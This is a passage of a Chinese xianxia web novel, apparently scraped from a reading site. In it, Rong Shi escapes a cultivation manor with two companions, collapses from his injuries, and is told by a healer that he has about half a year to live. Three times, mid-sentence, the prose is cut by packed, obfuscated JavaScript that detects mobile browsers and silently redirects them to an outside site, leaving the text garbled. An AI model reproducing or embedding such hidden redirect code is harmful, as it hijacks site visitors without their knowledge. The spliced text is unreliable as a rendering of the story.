他死前萧随就与准备叶氏三小姐联姻了,怎么他死后又要装出一副情深不寿的样子,所谓的爱就廉价到如此地步么? 容识轻笑了一声。 难为方才灼夜抱着他躲开攻击时,还记得捞起他身旁的那个傀儡,现下那傀儡就躺在三人身后的墙角。 灼夜和云明两个金丹面对数十个元婴,疲态已现,却死死挡住身后的容识,他左边是漫天的药粉,右边是令人耳鸣的轰然撞击声。 两个剑气强劲的守卫围在灼夜两面把他缠得脱不开身,眼看有人越过他向容识奔去,他一拳打碎了眼前的长剑,碎片擦过手腕,一串血珠喷涌出来。 他不顾伤口,利箭一般飞身过来,近在咫尺的守卫被他一拳砸出墙外,可身后两个守卫紧追上来,长剑正对后心! “小心!” 容识掷出的傀儡碎片与长剑剑尖碰撞,清脆的“叮”声中,剑尖偏斜一寸,擦着灼夜的右肋落了空。 他又抓了一片尖锐的碎片,扶着傀儡站了起来,他一手掐住傀儡的脖子,一手用碎片最尖锐的那一角抵住傀儡的脸。 “让他们住手。”他声音不大,带着一点筋疲力尽的嘶哑。 那边毫不关心战况的萧随如遭雷击,猛地转头看向了他这边,看到容识的瞬间眼神一滞,立刻下了令:“住手!” 霎那间,所有守卫都停住了动作,灼夜和云明缓步退到了容识身侧。 萧随的目光落在容识露出来的那半张脸上看了许久,似乎想透过他系在脸上的褪色布料看见他原来的面目。 “……是你么?”萧随被兴奋扭曲的声音听着格外瘆人。 容识手中的碎片离傀儡的脸更近几分:“这尊傀儡想必是二公子的心爱之物。” 他淡淡道:“我们要出去。” 萧随尚未表态,云明在一旁很没自信地嘀咕:“这种威胁真的有用么?地上碎了这么多傀儡也没见二公子真的心疼,他刚才那样子演戏似的,没见这感情有多真。” 灼夜摇了摇头,一边观察周遭守卫们的动向,一边说:“可是他的阵法很厉害。” 言下之意是他这么厉害,威胁应该也有用。 云明内心焦灼,但也只能选择相信他了。 萧随的目光毒蛇一般死死地盯着容识,“你当真如此狠心?” 容识没有回答,只是把手中碎片彻底按在了傀儡的脸上。 萧随见状,自嘲地笑了几声,“好好好,你还是和以前一样一点都没变,总是为一些不值当的外人与我生气……” 他这样子,倒显得容识才是绝情、疯狂的那一方。 “好啊,我可以放走他们。但是你……必须留下来!” 容识还没说话,身侧的灼夜直接替他拒绝:“不可能!” 萧随的眼霎那间冰冷彻骨,身后一个傀儡霎那间向灼夜飞身而来,势不可挡,“我与他说话,死人也配插嘴?” “退后!” 灼夜听话地退后几步,容识手中碎片掷出,刺入傀儡腰腹之中,傀儡全身顿时发出“咔咔”的诡异声响,接着“砰”地炸成无数碎片! 碎片中萧随的身形鬼魅般贴近,容识倒退几步,把身前傀儡向灼夜一推:“打碎它!” “好!” 萧随喝道:“你敢!” 他指尖灵力涌现,身后几个傀儡飞向灼夜抢夺旧傀儡,它们不是人,不受山庄禁飞阵法的限制。 就在此时,容识用力把一个瓷瓶扔向萧随,他下意识用灵力炸碎了它,里面仅剩的一半荧惑药粉霎时扑了他满脸。 萧随微微皱眉,似乎有些头晕目眩。 锋利的瓷瓶碎片带着凛风擦过容识的侧脸,脸上松散系着的布料陡然被碎片带走,他下意识侧过了脸,长发被风吹动。 扬起的青丝落下,露出容识全部的脸。 他被扔在库房时沾了一头一脸的灰尘,长发只用一根树枝束了一半,碎发从额角和鬓角垂下来,远远瞧着十分狼狈,如玉蒙尘。 只是那双眼睛沉如弱水,不见丝毫悲喜,疏冷落雪,真真是个无心无情的世外仙人,眉心痣却点出一丝慈悲神相,衣袂翩跹如出岫烟云。 此时剑尖寒星一闪,落在了容识和云明的颈间。 局势差不多是尘埃落定,萧随盯着容识的脸又看了许久,像是要把他的样貌彻底刻在心底,永世不忘。 良久,他勾了勾唇:“原来……原来你是长这般模样。” 他眼底没有半点笑意,灼夜急得拼着硬接了围攻傀儡的一掌,一把勾住旧傀儡的臂膀拉近,学容识拿碎片抵住旧傀儡的脸,出言威胁:“放了我们,不然我现在就打碎它!” 萧随看了看旧傀儡的样貌,他终于发现这个傀儡的脸和他与容识都有五分相似。 他心情肉眼可见地顿时变好,嗤笑道:“你以为什么人都有资格跟我谈条件么?” “把傀儡还回来,”他好整以暇地看着灼夜,指了指云明,“你和他一起走。不还,我现在就杀了他。” “要死了要死了现在怎么办啊……”云明崩溃地小声嘀咕,圆脸痛苦地扭曲成了一团。 容识微微抬眼看了看天色,时间应该差不多了。 萧随还真是一如既往,喜欢看人做生死抉择时痛苦纠结的样子。 灼夜看看云明又看看容识,眉头皱得死紧,实在不知道该怎么做。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15373070|168209||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 萧随适时打断了他的思考:“三个数,不选,他立刻就死。” “三,二……” “轰——” 萧随收了笑意,看向声音发出的方位,容识侧脸看去,只见库房那边冒起了滚滚的黑烟,大火直冲天际。 “……是你。”萧随转过头来看着容识,非常肯定。 容识微微点头,他在库房时顺手刻下了几个非常复杂的爆炸阵法,“只是第一波,半个时辰内不解开阵法,整个随山山庄应该都能上天一趟。” 萧随似乎想到了什么,又去看旧傀儡。 “那上面也有。”容识提前解答了他未曾开口的疑问。不得不说,萧随的确了解他的手段。 “你……”萧随神色恍惚了一下,没能继续说下去。 等的就是荧惑发挥完整药效的一瞬间! 容识一个手刀劈向身侧守卫的手腕,夺剑杀之,又刺入云明身旁守卫的心口,剑尖鲜血尚未滴落,长剑便化为白日流星,直指萧随心脏迅疾而去! 萧随抬手,手中灵力与剑尖碰撞,爆发出耀眼的白色光芒,劲风从相撞处扑来,卷起一地的碎片。 容识向白光奔去,身影没入光芒的下一刻,澄澈晴空骤然阴沉,隐约能听到雷声,似是风雨欲来。 云明被守卫心口涌出的献血溅了一身,他愣怔片刻,拾了剑跑到灼夜身侧,两人紧张地看着容识消失的地方。 白光散去,萧随看到容识距离自己一剑之远,他垂下眼,仿若怜悯众生的神明。 他掌心抵住剑柄,身后空中漂浮着银白色的阵纹,阵法即将成型,长剑所指,即为诛杀所在。 那是…… “陨仙阵!”萧随瞳孔骤缩,气极反笑:“你宁死都要杀我?!” 容识唇角溢出鲜血,他下颌紧绷:“要么我走,要么,你只能留下一具尸体。” 他看到萧随血红的双眼,像饿极了的野兽看到了心心念念的猎物。 真没想到再见面,是这种剑拔弩张的场面。 上空电闪雷鸣,山庄内爆炸声不断,草木在狂风中摇曳折断,容识与萧随对峙,灼夜和云明迎上围攻容识的守卫,天昏地暗,仿佛炼狱。 “你以为你能杀得了我?!” 萧随掌心灵力愈盛,阵法只差一步便可成型,双方强压之下长剑乍然寸寸粉碎,灵力与阵法直接对撞! 灼夜余光瞥见即将发生的危险,大喊道:“退后——” 足以让天地毁灭的巨大声响后,周边百丈瞬息之间被夷为平地! 灼夜和云明后撤不及时,被可怕的冲击震飞出去,灼夜单膝跪地,刚捂着心脏吐了口血,抬头便见白雾中一个灰色身影倒飞出来,他急忙扑向那人,堪堪接住了他。 “你没事吧!” “跑!”容识唇角的鲜血根本止不住,他抓住灼夜的衣袖,“快跑!” 云明稳住身形后立刻召出飞行灵器,喊灼夜带着容识上来,须臾消失在密林中。 夕阳将落,一间破败无人的小院出现在眼前,云明这才停下。 被灼夜和云明搀扶着坐到屋内时,容识剧烈地咳嗽起来,五脏六腑都好似在咳嗽中被震碎了,疼得刀割剑砍一般,大量的鲜血从肺腑里涌上来,他没了咽下去的力气,任由血染红了身前的衣衫。 他的脸白得吓人,身上流淌的鲜红血色衬出一种人之将死的灰败感。 “好多血!” 容识昏迷前听到的最后一句话,是灼夜吓到扭曲的声音。 5. 相识 “他昏过去了,怎么办怎么办!”灼夜急得牵动内伤,不住地咳嗽。 云明毕竟是医修,见过的情况危急的病人数不胜数,他一边找东西一边道:“先扒了他上半身的衣服,我给他扎针试试!” “好!”灼夜去拽容识的衣领,谁知刚碰到,手腕便是一痛。 “嘶……”他忍不住倒吸一口凉气,定睛一看,原来是容识掐住了他的手腕,力气大得他骨头都要碎了。 不是重伤吐血了么,怎么力气还这么大? 他对上容识的眼睛,对方眼睫低垂,似是疲累不已,却有一点寒芒,透着审视的意味。 灼夜立刻反应过来容识应该是误会了,慌忙道:“那个,他说要给你扎针,我……我没有别的意思!” 一旁的云明看到他醒来,惊为天人,“醒得这么快?” 看到两人僵持的手,他明白过来,劝道:“哦,我是要给你扎针,所以得脱衣服,如果介意的话留一件里衣也行,隔衣施针不是什么难事,我们药王山很注重病患隐私的!” 容识听完,昏沉的脑子清醒了一些,松了灼夜的手,“抱歉。” 他抬手拉了下衣领,想自己脱衣服,却没拉动。 “没关系的,”灼夜适时道:“我来帮你吧。” 活命要紧,容识闭眼点了点头。 他感觉到灼夜缓慢地靠近,整个人被笼罩进他的阴影里。灼夜的手在自己腰上小心摸索,隔着这么厚的衣服,也能感觉他双手的温度。 灼夜找到腰带解开,接着动作很轻地把层层衣领都拉下来,很快容识上半身只剩一件里衣。 他……为什么好像在发抖? 灼夜想,是受伤太重,太疼了么? 云明摆好了要用的针,“扶他躺下吧。” “哦,好。”灼夜见地面灰尘太多,便把自己外衫脱下铺在地上,扶着容识躺下了。 容识在扎针的时候又昏迷片刻,睁开眼还没看清东西,一个花里胡哨的身影便扑上来。 灼夜连珠炮似的问:“你醒了!你感觉怎么样?有没有哪里还疼的?” 云明抬头看了容识一眼,一边配药一边说:“我药都还没配好,居然又醒了?按理说这么重的伤昏迷个四五天都很正常。” 容识胸口疼得厉害,想抬手捂着,忘了刚被扎了针,被灼夜握住手腕:“别动,你身上还有针。” 他低头,看到心脏周围扎了数十只针,像个刺猬。 云明配完第一副药便递给了灼夜:“先让他吃下去!” 接着继续在瓶瓶罐罐中找药配药。 这时,容识看清了四周情形,这是一个年久失修的老房子,看灰尘大概有五六年没人住过,屋里什么家具都没有。 “快吃药,吃了药就会好的。” 他扭过头,见灼夜把药捧到他嘴边,认真地看他,目光带着纯粹的真诚。 他顺着灼夜的手掌一口吞了,但饶是之前吃药不少,也险些被这么一大把药丸噎住。 云明立马掏出一只新的水袋,对不会照顾人的灼夜有些头疼:“哎哟我的祖宗,没让你一口给他喂完啊!” “啊?对不起对不起!”灼夜满头大汗:“快喝点水。” 容识接了水袋,偏头灌下去半袋子水,把药丸压了下去。 他还没利索地喘口气,就见灼夜也咳嗽起来,对方捂着嘴逞强:“我没……咳咳……没事!” 两三个字都说不明白了,还在说没事。 他硬接傀儡一掌,还被灵力余波冲击到,肯定受了内伤,容识便对云明道:“多谢你了。先给他配药吧,我暂时死不了。” 嗓音嘶哑得没比乌鸦叫唤好多少,几乎听不出原来的声线。 云明看了下他的脸色,想确认他是真的脱离了生命危险还是在嘴硬,片刻后认为他说得没错,点头说:“好。” 容识气喘得匀了便闭眼休息,针灸和药丸不愧出自药王山弟子之手,见效极快,身体的剧痛总算缓解了一些。 云明给灼夜和自己都配完药后,也歇下来。 “谢谢你,你人真好。”灼夜接了一手的药丸,一双真诚的眼睛看得云明有些不好意思。 云明边吃药边摆摆手道:“不用谢,身为医修,应该的应该的!” 灼夜看着满手的药丸有些犹豫,仿佛在下什么天大的决心,一刻钟后,终于视死如归地先吃了一颗药,入口那一刻他整张脸扭曲起来:“好苦!” 他再看手里的药丸时,已经把它们当成了恶心的虫子。 想起刚才脸色平淡,一吃就是一把的容识,他忍不住问:“怎么会这么苦?你的药和我的长得不一样,可我和他的药看上去是一个样,为什么他的不苦啊?” 容识忍不住笑了一下。 灼夜浑身衣服上下有六七八种颜色,头上和耳尖挂着四五件金玉饰品,花里胡哨十分跳脱,却不会叫人觉得土气,仔细看来这搭配相得益彰。 他身形颀长,宽肩窄腰,微微卷曲的长发用发冠束起,发尾垂至腰上,干练不羁,颇有几分少年意气,此刻苦着个脸,像一只淋了雨的五彩斑斓的大狗。 时间到了,云明便拔了容识身上的针,摇头道:“别瞎说,一样苦的。你觉着他吃着不苦,那是他能忍。而且为了出门在外方便携带,我们药王山的药一般都做成药丸药粉了,还能忍一忍吞下去,没让你喝汤药就不错了,那才是真的苦不堪言!” 他看容识佩服得像是在看药王山的老前辈:“你是真能忍啊,难道你是兔子转世的不成?” “兔子么……”容识恍惚了一下,淡淡道:“是啊,其实我是只兔子精。” 先前没仔细看,云明的样貌有些面熟,似乎在哪里见过。 “啊?”灼夜把他那标准的凤眼瞪圆了,把容识从头到脚看了一遍,皱眉问:“真的?” “哎哟我的小少爷他随口瞎说的你也信啊?”云明被耿直的灼夜逗乐了。 “哦……”灼夜懵懂地点点头,又垂下眼面对手里没吃完的药丸。 他一次吞下了全部的药丸,看样子是决定长痛不如短痛,却被苦得眉毛仿佛在跳舞,俊美的五官愣是拧巴成了一团。 容识只是笑。 灼夜强撑着咽完后咳嗽个不停,“好……好苦!” 容识下意识递出自己刚才喝了一半的水袋,灼夜拿过去就往嘴里灌。 直到把袋子里面的水都灌完,他才长出一口气,往墙上一靠,生无可恋道:“活过来了……” 他想起刚才没问出口的事,登时把吃药的痛苦抛诸脑后,问云明:“为什么能忍像兔子?” “这你就不知道了吧。”云明娓娓道来,“兔子是所有动物里最能忍痛的啊。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15373071|168209||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “原来是这样。”灼夜吸收到新知识,眼睛一亮,只是他看到容识,想着他刚吐完血又吃了一堆苦药还能神色淡淡,像什么都没有发生过一样,心里有点不舒服,说不上来是什么感觉。 他想了一下,对容识说:“你不是兔子,以后可以不用这么忍的!” 容识说:“我尽量。” 这会儿他腹中的疼痛盖过了所有,忍了又忍,无可奈何道:“……有饭么?” “你还没辟谷?不应该啊,都筑基了。”云明从储物袋里挖了半天,掏出一份还没吃的鸡腿配米饭推到他身侧,“这个可以么?” 容识想撑着坐起来,却没力气,亏得灼夜扶他起身靠在墙上。 他看见凌乱的衣襟,抬手去整理,还是没力气。 “我来吧!”灼夜热心地帮他把堆叠在后背的衣服捞上来穿好,整理衣襟。 容识闭上眼,额头抵着冰冷的墙面。 他以前便是再落魄,也没有到脱衣穿衣都做不了,样样都需要旁人帮忙的地步。 早知如此,还不如在千重渊底做一具无忧无虑的尸体。 灼夜看到容识凸起的锁骨,想起方才感受到的他腰的尺寸,不由得心中感慨,他好瘦。 重新束好了腰带,灼夜拿起地上的饭,“我喂你吃吧?” 他说这话,好像喂人吃饭和成年人被别人喂饭,都很正常,仿佛天经地义。 容识轻轻摇头,接了饭盒的双手却绵软无力,眼看饭盒要摔下去,灼夜便及时捧住了他的手,稳住了饭盒。 接着灼夜从他手里拿走了饭盒,用木勺挖了一口饭送到他嘴边。 容识没有张口,即便他现在真的很想吃东西,再不吃真的会饿死。 死过一次的人,心态难免极端。他破罐子破摔地想,还是饿死算了,省得以后生活不能自理,变成个笑话。 眼前的人似乎心情很差,灼夜努力思考,他为什么心情不好? 因为受伤吐血身体疼痛么?不对,方才扎针吃药时没见他心情差,好像是从脱衣穿衣喂饭开始的…… 他好像总不愿意接受别人的帮助,就算自己已经受了那么严重的伤,还吐了那么多血。 灼夜明白了,“你受了这么重的伤,肯定没什么力气了。之前你在山庄救了我们,他能给你扎针吃药,那也让我报答一下你吧。” 他的眼睛很亮,没有任何杂质,纯粹如水中之月。容识回味着“报答”两个字,终究张开了口。 有效果!灼夜开开心心地喂容识吃饭,眼也不眨地看着他。 他一向对长得好看的人或事感兴趣,何况眼前的还是自己的救命恩人。 容识身形清瘦骨感,头发因为逃亡乱糟糟的,发丝里还夹杂着几根非常明显的白发,即便很没有形象地啃着一只鸡腿,这个人也还是很好看。 他眼睛的颜色很漂亮,在阳光下会带一点暮山紫色,像罕见的漂亮宝石。 灼夜看得微微出神,他很少见生人,却觉得容识的样貌当为世间一等。 谁都不知道,在山庄,容识遮脸的衣角掉下去时,看呆的不只有萧随,还有他。 云明快要瘫在地上,回想这一天的遭遇,感慨道:“我们这也算是……过命的交情了。以后要是被那个有病的二公子追杀,也能有个照应。对了,还没问你们的名字呢。” 6. 诊断 “我叫灼夜。”灼夜喂完了饭,答得很快,笑得有些腼腆,像是刚认识新朋友,还有些不好意思。 “羲和昇光以啟旦,望舒曜景以灼夜。”容识道:“好名字。” “真的?”灼夜嘴角的笑压都压不住,“第一次有人这么说。” “真的。”容识笑道。 刚见面时他就发现了,灼夜善良纯真,半点心机都没有,对所有人都不设防,问什么答什么。 他大约永远都做不到这一点,想了会儿关于名字的事,道:“我叫,悯之。” 灼夜问:“哪个悯?” 容识答:“怜悯、悲悯。” 灼夜正在掌心比划着“悯”该怎么写,就听云明道:“怎么你们两个的名字听起来都不像真名啊,像字。不过没关系,人在修真界飘,哪能没有化名……” “哪里不像?”灼夜较真起来也不等云明把话说完,“我就叫灼夜啊,行不更名坐不改姓!” 云明有些地方是猜对了,容识想,“悯之”的确是母亲给他起的字。 他叹了口气,想了又想,重新介绍自己:“容识,我叫容识。” 灼夜没遇到过容识这种说的一万句话里都可能没一句真话的人,有些摸不着头脑。 长这么好看的人也会骗人? 但是他骗的,都是一些没什么要紧的小事。 灼夜沉思,灼夜又问:“那‘悯之’是你的字么?” 容识“嗯”了一声。 灼夜明白了,字当名怎么能算骗? “容?你是三川容氏的人么?”云明摸着下巴。 容识想了想自己和容氏的关系,勉强道:“算是半个吧。” 就是不知道他们肯不肯认了。 云明了然:“怪不得这么厉害,能带我们逃出那鬼地方。我还没见过谁能单用灵力空手刻阵,那威力,至少得是元婴阵了。还很多年前,给孩子取字还是风雅之事,后来大家劲头过了,没几个会给孩子取了。要是容氏那样的大家族的话,会取字也很正常。” 为了方便不懂阵法的人理解,阵法等级的命名与修士境界一样,从低到高依次分为炼气、筑基、金丹、元婴、化神、大乘、渡劫。 容识无意解释更多:“灵力低微,想保命只能走点偏门了。” “这样啊。”云明表示理解,“我家里有个哥哥,对阵法也很精通。” “容氏?”灼夜发现两个人都没有要解释的意思,问:“很厉害么?” “那当然了。”云明满脸怀疑,“你居然不知道容氏,难不成是第一年来修真界?抓我们的那个是萧氏你知道吧?北地萧氏、三川容氏和江州叶氏,是修真界三大世家,这几个世家的当家跺跺脚,整个修真界都得抖三抖。” 容识若有所思,南海明氏已不在大世家之列了么? 以前萧、容、叶、明总是被列在一起,并称四大世家的。 灼夜开始思考人生:“……那么坏的东西,修真界还有两个?” “你想什么呢!”云明疯狂摇头,“那么坏的当然只有萧氏一个了,容氏和叶氏可从没做过什么伤天害理抓人杀人的事。” “那就好,那就好。”灼夜放心了许多。 轮到云明介绍自己,他拍拍胸脯:“方才你们肯定是听到了,我呢是药王山山主的亲传关门弟子,云明。” “我是下山游历途中被萧氏的长老叫了去,要我给一个人治病,说是疑难杂症,我就去了。到了山庄之后,看见很多特别逼真的傀儡,就想凑近看看,结果你们猜怎么着,我还没靠近呢,萧随哗的一下从天而降,当场就要杀我!这不是有病么?我就赶紧跑,但是那山庄太大了,我迷路好几次,然后就看到了你们,可算逃出来了,好险好险。” 他愤愤不已,一张带着婴儿肥的圆润无辜脸气得咬牙切齿:“你们说他到底抓了多少人?我跑路的时候还听守卫说,他们抓的凤凰也跑了,不光抓人还抓鸟,简直目无王法!一个世家之主,竟然可以随便抓人杀人?天杀的,我要上报仙盟把他们都抓了!” 那只凤凰也跑了? 容识松了口气,凤凰不在萧随手上,他就不用再去山庄一趟了。去一趟都吐个半死,再去一趟怕是真要死在里头。 云明长吁短叹一番,话头一转,好奇地问:“你们是怎么到那鬼地方里去的?” “一天前,我在山上玩,”灼夜话里带着委屈,垮着脸,“一个老婆婆踩空掉下去了,我去救她,被人看见了。我把婆婆送回家后没多久,他们就来抓我了。” 难怪他当时那么生气。 做了好事却被盯上绑了,天底下哪有这样的事。 容识轻轻咳嗽一声:“我在巷子里走得好好的,忽然有人把我迷晕了,醒过来就到了那山庄。”云明疑惑道:“是么?为什么我看二公子好像认识你,还只杀我们不杀你?” 容识笑了笑:“听绑架我的人说,他在到处抓和自己已死的心上人长相差不多的人。可能我和他心上人长得太像了,把我当那个人了吧。” “啊?”云明哆嗦着摸了摸自己的胳膊,“我鸡皮疙瘩都起来了,他一把年纪了还活在话本里么?找替身这种事都做得出,不仅侮辱了心上人还糟践了你,也太变态了!” 灼夜听得迷迷糊糊,大概明白了“替身”是什么意思,也气鼓鼓地跟着喊:“太变态了!” “等等……仙盟。”云明上下看了好几遍容识的衣服,“我说怎么看你的衣服这么眼熟,这麒麟纹简直如假包换,这不就是仙盟的制服?就是……你这衣服穿多少年了?都褪色成这样了。你是仙盟的人么?” 灼夜又开始混乱:“仙盟是什么?” 云明奇怪地看他:“你到底从哪个山洞里出来的?今年是太微历一万五千七百八十五年,你知道么?” 灼夜含糊点头:“知道啊。” 容识觉得他应该不知道。 穿得像世家公子,修为不凡力气又大,但是对修真界现今局势的了解,还不如自己这个四十九年前就已作古的人。 难不成灼夜以前真是在哪处山洞避世清修? 云明信了灼夜,解释道:“修真界那么多世家和门派,总得有人管着吧,不然都像萧随那样为所欲为,那大家还活个什么劲?仙盟说白了就是管这个的。” “哦,这样啊。”灼夜这回是真听懂了,“明白了。” “所以……”云明和灼夜两个人一起向容识,“你到底是不是?” 容识面对两人期待的目光道:“不是。我下山途中,原本的衣服被划破穿不了了,正巧看到一个人倒在路边,已没了气息,我就扒了他的衣服穿。” 灼夜和云明看着他目瞪口呆。 云明咽了下口水:“扒死人衣服,你……你是个狠人。” 灼夜定定地看着容识,眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15373072|168209||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 神清澈:“真的么?” 容识也看向他,肯定地说:“真的。” “我不信。”灼夜和他对视后突然闪开目光,别别扭扭道:“我觉得你是个爱干净的人,不会穿别人的衣服。” 他指着容识的腰身,“还有,你长得很瘦,如果这是别人的衣服,腰身、肩膀,肯定不会这么服帖。” 被拆台了。 这人对衣服倒是很了解,也难怪能穿得五颜六色而不落俗套。 “你说得对。”容识没有一丝怒意,笑道:“好吧,我承认我是仙盟的人。” “真的?”云明激动地叫。 容识手撑着脸,“不过那是以前的事了,后来我退出修真界去山上隐居了,很多年没下来,这才没有别的衣服穿。” “啊……还以为你是仙盟的人呢,我刚想跟你告状来着。”云明有点遗憾,“对了,你气色太差了,而且都筑基了怎么会不能辟谷?我给你探探脉吧。我这个人没别的爱好,就是喜欢研究疑难杂症!” 容识点点头,伸出了手,感觉到云明搭上他的脉时手哆嗦了一下。 “你身上怎么这么冷。”云明皱起眉,搭了半天,眉头越皱越紧,脸色比被萧随追杀的时候还难看。最终他放下了手,什么都没说,从储物袋里掏出了一本有成年男子一掌厚的书,快速地翻起来。 医师满目愁容,患者一脸放松,这两人太诡异了,灼夜的目光在二人身上转了好几圈,忍不住问:“到底怎么了?他,很严重么?” 容识叹气,按住了云明翻书的书页,“别看了,实话说罢。” “我快死了?还有多久?” “怎么会?”灼夜皱着眉,抓住了容识的手腕,同样被冻得一哆嗦,“我怎么没看出来你快……快……” 他连“死”字都不愿意说出口。 他天生能观旁人不能观之事,只看出容识在寿元上有一些问题,还不至于要油尽灯枯,怎么容识自己这么笃定? “呸呸呸!”云明一把合上书,恨不得把书砸容识脑门上,恼怒道:“看脉象你才十九,什么死不死的?我不允许!” “况且我多年来博览群书无所不看,你这种天生体弱多病还和某位大佬有交集的人,那放在话本里肯定是绝对的主角,主角是不会死的!不会的。” 灼夜燃起了一些期望,但没听懂云明在说什么:“主角?那是什么?” 云明有种带坏小孩的感觉:“话本故事的中心啊,一般来说,整个话本都是围绕主角展开的,要是没有主角,就没有这本书,主角很重要的!” “喔。”灼夜似懂非懂,“那就是有救了?” 容识只是盯着云明:“真的么?” 自己的身体,他自己能感觉出来,就是不知道具体的时间罢了。云明是药王山亲传,把脉应该能把出来,只是他不愿意说。 “看我干什么?”云明把书扔回储物袋,他眼睛乱飘,看到灼夜搭在容识身上那只手,手腕上的伤口已经结痂。 终于找到一个借口,他放松了点:“那什么,他手上还有伤呢,我先给他看。你要是没什么事儿的话,可以吃一下山庄里我塞给你的药,那可是上好的补药。” 接着云明掏出一卷细布,但灼夜不领情,一把将细布拿过来,一边给自己擦伤的手腕缠上,一边问:“他身体到底怎么样?” 容识也道:“我想听一句实话。” 7. 寻药 云明捂着脸不想说话,可能是因为这一天他受到的打击太多了。 良久他长叹一声:“是是是。” 他支起身体,一副授业解惑的模样,顶着两人询问的目光,认真道:“你的身体很奇怪。” “你先天有损,心事太多思虑过重,经常耗尽灵力,消耗很大……还摔断过腿?而且有一股特别寒凉的剑气深藏在肺腑,这些是你身体衰弱最根本的原因。你是五灵根,灵根太杂灵力不强,所以到了筑基还不能完全辟谷,需要吃东西补充身体,但你体内有一种特别的力量在保护身体和神魂,像是什么特殊的心法或者内功,可以把吃进去的东西完完全全转化成养分,吊着你的命……” “虽然有用过天材地宝的补品,但已是强弩之末,能活到现在已经很了不起了,我都想知道之前给你看病的人是谁,感觉能和我师尊一较高下。” 云明皱着眉,下了判决:“至于你剩下的日子,差不多还有……半年。” 容识明白他话里的“半年”多半是润色以后的结果了,事实可能更加糟糕。 他心中并没有什么波澜。 本就是应死之人,逆天而行多活半年已是他的幸运。 那特殊的内功心法,或许是他曾修炼的《曦光》心法。莫非就是因为《曦光》,他才经受怨魂撕咬却死而复生? “……半年?”灼夜声音微微颤抖,抓紧了容识的手,完全弄不明白他怎么就成了将死之人。 他自认没看错过,可云明听着也是修真界顶好的医修,到底是谁的判断出了差错? 容识安慰道:“天命如此,不必强求。” 他也曾有过不相信天命的时候,可还是什么都没有改变。 以前他抓不住在自己手上流逝的生命,现在也没能抓住自己的命,都是寻常。 灼夜不想相信:“天命难道就是让好人不得长命么,我不信!” 容识身上的气息沉稳内敛,令人心静,一看就是从未做过坏事的好人,比起所谓的天命,他更相信自己的判断。 “天命如此?”云明也气得不轻,闷声闷气道:“你当着一个医师的面说这些,未免有些看不起我。我就不信了,我专治疑难杂症,还救不了你了?” 灼夜闻言,眼睛亮亮地看着他,他总是抱有最大的希望:“对对对,肯定可以治好,他是医师,医师不会骗人的!” 云明受到鼓舞,指天放出豪言壮语,“你跟着我治病,我保证一定能给你延年益寿,不说年岁无忧,至少长命百岁!” 治病么…… 容识轻笑,歪头看着两人:“我天煞孤星,对我好的人,可都没什么好下场。” “哪有!”灼夜坚定地纠正他:“我觉得你人特别好,你怎么可能是天煞孤星?” 他不明白,修真界人人都追求长生、追求飞升,怎么有人这么不把自己的性命当回事? “而且……而且连萧随那样的混蛋都还活着,你这样的好人,凭什么只剩半年,又凭什么是天煞孤星?” 灼夜身上有种与天争命的锐气:“我不服!我就要你活!” 容识失笑。 ……这样纯真热切的少年意气,他很久不曾感受过了。 灼夜拍拍胸脯:“你可是我们的救命恩人!要不是你的保护,在山庄里我们两个就没命了,现在,该我们保护你了!” 不仅呆,还是个认死理的人。 容识淡然道:“只是顺手而已。” “你也可以不顺手的。”灼夜反驳,“可你还是救了我们。” “对啊,哪有被救的人看着救命恩人去死的道理?”云明附和,“天煞孤星?碰到我算是踢到铁板了!我师父说我命硬,遇到你这天煞孤星,不更得试一试了?” 他似乎对患有疑难杂症的病患有种执念,执念难消,大约很难放弃。 还有灼夜这个耿直的热心肠,感觉如果自己不去治病,怕是逃到天涯海角去,他都得把自己扛回来。 容识没有立刻接话。 他心存死志,不愿再浪费时间,可是萧随的脾气,抓不到自己定然不会罢休,要是这半年天天过的是风餐露宿提心吊胆被追杀的日子,还不如现在就死来得痛快。 如果到处寻药,居无定所,再被抓回去的风险就小很多。 就当了了灼夜和云明的执念…… 见他迟迟不语,灼夜软了声音道:“你就试试吧……” 云明也满脸哀求:“我的祖宗你就答应我吧,求你,算我求你行么?给我个治好你的机会吧!” 容识噗嗤笑了,“好好好。” “太好了!”灼夜高兴地差点蹦起来,脸上的忧虑散了个干净。 他身上头上的宝石碰在一起,丁零当啷的,像个行走的珠宝架子。 云明松了一口气,“哎哟好险好险,我的研究好险就不保了。你们是不知道,药王山每年的考核,是要每个人交上这一年对疾病的研究,我游历这么久,可算找到一个最厉害的疑难杂症了。” 他笑了半天,又看向灼夜:“来,你的脉也给我把一下。” 灼夜伸出了手,把完之后,云明靠墙一躺:“还好,你没什么大问题,吃了我刚才配的药,就不用再吃了。老天爷还是照顾我的,给一个疑难杂症就够了,再来一个我是真吃不消了。” 